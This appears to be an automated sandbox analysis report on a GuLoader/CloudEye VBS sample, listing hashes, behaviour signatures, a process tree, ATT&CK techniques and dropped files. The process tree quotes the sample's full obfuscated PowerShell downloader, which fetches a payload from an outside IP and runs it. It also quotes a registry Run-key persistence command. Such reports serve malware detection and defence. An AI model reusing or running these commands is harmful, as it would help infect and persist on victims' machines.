Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02-07-2024 02:00

General

  • Target

    c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f.vbs

  • Size

    21KB

  • MD5

    1a705e08ebbfa361df84f04cb5f0976e

  • SHA1

    e3091fec2ae95f28824fec928defaa68e63e189f

  • SHA256

    c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f

  • SHA512

    bd6b937c3ad2805cac2eb18c1011634e8b50a5bdd9f7af1bec7251429a7cac5214e33003a3da9e9d198fa362461a15b7d3a937ca6ee323ca20b1d6b22128958e

  • SSDEEP

    384:mlzV6m2So022lGP9V6+s0flKJpl/5ZrE5HVnS0Re7PIx+5lEPmgwwgvNRqeGb3OS:ezSR022X/523S0e8xPPmZMhb

Malware Config

Signatures

  • Guloader,Cloudeye

    A shellcode based downloader first seen in 2020.

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c506ac9a87485ac16f09afa8f732f7a72699c6f5db222cb347cf8291f5c27d0f.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4840
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:208
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"
        3⤵
          PID:4732
        • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites Jetjager196 Valrs Splodgy Turer Buttoners Hymeniumnia55 Pseudoethically Mediers131 Hangnests Caprimulgus Indhaling Sjlelivet Psychoclinic perioderne fikey tiaarsdag Oppositionless Rigellaasene Tronprtendenters Vivifier Ggeskals Poner Unaturlighed crinites';If (${host}.CurrentCulture) {$Cykelstier++;}Function Grovelled($Slick){$schoolchild=$Slick.Length-$Cykelstier;$Afhstet='SUBsTRI';$Afhstet+='ng';For( $Neurocentrum=1;$Neurocentrum -lt $schoolchild;$Neurocentrum+=2){$Jetjager196+=$Slick.$Afhstet.Invoke( $Neurocentrum, $Cykelstier);}$Jetjager196;}function Hovne35($Arbejdsmetode){ .($Appalachian) ($Arbejdsmetode);}$Muddleheadedness204=Grovelled ' MFo zDi.lSl aA/ 5S. 0K U(AWCiFn dDo w sC UN.T. T1 0U.H0P;S WMi nO6.4T;K Hx 6b4.;U Mr v : 1K2 1H.S0I) UG,edcDkCoI/u2D0B1K0r0,1U0R1 F,i r,eFfaoAx./ 1 2T1,.S0c ';$Paquet=Grovelled 'OUBs eFrU-BASgDeunStC ';$Buttoners=Grovelled ' h tGtgp,:a/V/C1H0N3...1.9H5S.S2 3.7C.,4B3 / W r o,n,gLdTo i.nTgFs,1 9m3,.Ap cAxs ';$Deleting=Grovelled ' >T ';$Appalachian=Grovelled 'GiUePxD ';$Dolke234='Mediers131';$Skinnes = Grovelled ',eMc hSos W%.aKp pUdMa.tSaP%,\BT,r,iPcVoDt iSn.en.HI nStF ,&P&S Me c h oJ BtR ';Hovne35 (Grovelled 'E$SgOl o bCaGl : DbaAn sGe.d e,s =D(AcFm dP /GcL .$MSHkCi n.n e.s ), ');Hovne35 (Grovelled 'i$Og l oBb a,lA:,T u r,eGrR=.$,BUu.tSt.o.n.eFr.s .CsOp l iOtE(T$ D,e.lKe tLiJnUg.)T ');Hovne35 (Grovelled 'I[SNFeFt .ASPeIrFvPi,cCe P,o.iDnpt M a n,aSgSe.rO],: : S.ePc,u,rki t,y PSr.o,t oPcTo.l, I= [SN eUtP..SNeCc.u rPi tHycPTr.oMt oTcOo.l TRy,p,e ]M:.:GTUl s 1R2 ');$Buttoners=$Turer[0];$Semievergreen94= (Grovelled ' $Ug.lPo bEaHlt: F e,rEsvk.vMaPn dDs s.=GNKe w -SOFb j e c t. S.y sCt,eCm .KN.eBt,.PWVeFbOCEl,i,e.nBt');$Semievergreen94+=$Dansedes[1];Hovne35 ($Semievergreen94);Hovne35 (Grovelled ',$RFGe.r s.kBvRa.n d s so.PH e,aRdSeKrBsC[,$FPBa,q u.eItU] =R$TMPuSd,dGl eLhBe aAd.e dSn.eRs sU2L0S4 ');$Haandpanthaver=Grovelled 'T$ F e r.sKk v aLnIdMs,sL.,D o,wPn.l,oPaRd.F i,lRe.(K$PB u.tBt,odn.eHr sD,S$.PBoLnEeOrM) ';$Poner=$Dansedes[0];Hovne35 (Grovelled 's$ gKlUo,b aPl :.CRh,aOf e w,a,xV=F(ST,eSsrt -IP aUtSh. $CPCoTnPeUrA) ');while (!$Chafewax) {Hovne35 (Grovelled ' $Mgul,oFb aRlf:FT,rSi cDh oPp tKeTrEaO1 0P1R=M$ tAr.u,eG ') ;Hovne35 $Haandpanthaver;Hovne35 (Grovelled 'CS,t a rWtH-SSSl,e.eEpN L4 ');Hovne35 (Grovelled 'F$BgDlMo bfaPl :UC hSaAf,eHw aFxS=,(,TAets t.-IP aAtDhR $ P oTn ecr )S ') ;Hovne35 (Grovelled ' $LgLl osbIaTlG:USDp lGo.dNg.y,=A$ g l.o bSaSl :EV,a.lNr s,+L+A%.$FTKujr.eSr . c,o uinRt ') ;$Buttoners=$Turer[$Splodgy];}$skyttegravenes=371185;$Selenographers=25643;Hovne35 (Grovelled ' $ g lSoCbTaDl,: H,acnEg,nGe s,tEsB H=T IGEe t - C.o.n t,e n t D$ P oFnUe r ');Hovne35 (Grovelled '.$Tg,l oKbPa l :.EFn h,a,n,cKe r.sI = ,[US.y.sOtSe,m..SCBoJn v eIr.t,] :A:OFSr oFm BPaSs e 6 4ASjt.rSiPn.gK(S$TH aCnsg,nPeps t s )U ');Hovne35 (Grovelled ' $,g.l,oPb.aPlG:RS jal e lTiGv e.tR .=S S[bSSyUsgtRe.mF.AT eSxDt..MEInsc o d i,nAg,] :F:cADSLCrI I .CGAe.tpSft rLiOnNg,(S$SE.n,h.a n cGeGr.sF). ');Hovne35 (Grovelled ' $FgSlUo b,aIlC:HG lToEb uKsRe rTs = $ SUj l.eKl iHv eRtH.,sju,b,s,t,rCiUnSg,(P$,s.k.y tFtEe gDrDakvRe.nieNsB,M$MS eAl esn oSg,r aCp.hSe rSsC) ');Hovne35 $Globusers;"
          3⤵
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4844
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tricotine.Int && echo t"
            4⤵
              PID:1464
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              4⤵
              • Suspicious use of NtCreateThreadExHideFromDebugger
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:5048
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:4440
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Havnefogedeners160" /t REG_EXPAND_SZ /d "%Idelses% -w 1 $Windsorstolene=(Get-ItemProperty -Path 'HKCU:\Fralandsvinds\').Shadflies;%Idelses% ($Windsorstolene)"
                  6⤵
                  • Adds Run key to start application
                  • Modifies registry key
                  PID:3872
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4072,i,14486271492189381216,15799931579469722648,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:8
        1⤵
          PID:3624

        Network

        MITRE ATT&CK Matrix ATT&CK v13

        Persistence

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Privilege Escalation

        Boot or Logon Autostart Execution

        1
        T1547

        Registry Run Keys / Startup Folder

        1
        T1547.001

        Defense Evasion

        Modify Registry

        2
        T1112

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fshef51s.hr4.ps1
          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Roaming\Tricotine.Int
          Filesize

          516KB

          MD5

          a19ac5c628d2cfe0b9f264ef6835a069

          SHA1

          916e42b69efdf9c305a523d39a43dbd0187acb6c

          SHA256

          8cda02eabdc78956055c9b34c2578da73344fbdfa8f65586ed4e90384f85b752

          SHA512

          dc6b71d52a6a164e4e085b0a9457e9512a9bddcf741da2007edc4b3443636bc0ac1a7c6a3445dc1a38b4a26eca99097dec6b7433711f097ff06e8d05321f7b1c

        • memory/208-1-0x000001FCDA080000-0x000001FCDA0A2000-memory.dmp
          Filesize

          136KB

        • memory/208-11-0x00007FFF16080000-0x00007FFF16B41000-memory.dmp
          Filesize

          10.8MB

        • memory/208-12-0x00007FFF16080000-0x00007FFF16B41000-memory.dmp
          Filesize

          10.8MB

        • memory/208-45-0x00007FFF16080000-0x00007FFF16B41000-memory.dmp
          Filesize

          10.8MB

        • memory/208-0-0x00007FFF16083000-0x00007FFF16085000-memory.dmp
          Filesize

          8KB

        • memory/208-40-0x00007FFF16080000-0x00007FFF16B41000-memory.dmp
          Filesize

          10.8MB

        • memory/208-39-0x00007FFF16083000-0x00007FFF16085000-memory.dmp
          Filesize

          8KB

        • memory/4844-16-0x0000000005AD0000-0x00000000060F8000-memory.dmp
          Filesize

          6.2MB

        • memory/4844-35-0x0000000007AE0000-0x0000000007B02000-memory.dmp
          Filesize

          136KB

        • memory/4844-30-0x0000000006890000-0x00000000068AE000-memory.dmp
          Filesize

          120KB

        • memory/4844-31-0x00000000068B0000-0x00000000068FC000-memory.dmp
          Filesize

          304KB

        • memory/4844-32-0x00000000080D0000-0x000000000874A000-memory.dmp
          Filesize

          6.5MB

        • memory/4844-33-0x0000000006E10000-0x0000000006E2A000-memory.dmp
          Filesize

          104KB

        • memory/4844-34-0x0000000007B50000-0x0000000007BE6000-memory.dmp
          Filesize

          600KB

        • memory/4844-29-0x0000000006290000-0x00000000065E4000-memory.dmp
          Filesize

          3.3MB

        • memory/4844-36-0x0000000008D00000-0x00000000092A4000-memory.dmp
          Filesize

          5.6MB

        • memory/4844-19-0x0000000006220000-0x0000000006286000-memory.dmp
          Filesize

          408KB

        • memory/4844-38-0x00000000092B0000-0x000000000BD35000-memory.dmp
          Filesize

          42.5MB

        • memory/4844-18-0x00000000061B0000-0x0000000006216000-memory.dmp
          Filesize

          408KB

        • memory/4844-17-0x00000000059E0000-0x0000000005A02000-memory.dmp
          Filesize

          136KB

        • memory/4844-15-0x0000000002F50000-0x0000000002F86000-memory.dmp
          Filesize

          216KB

        • memory/5048-42-0x0000000001790000-0x0000000004215000-memory.dmp
          Filesize

          42.5MB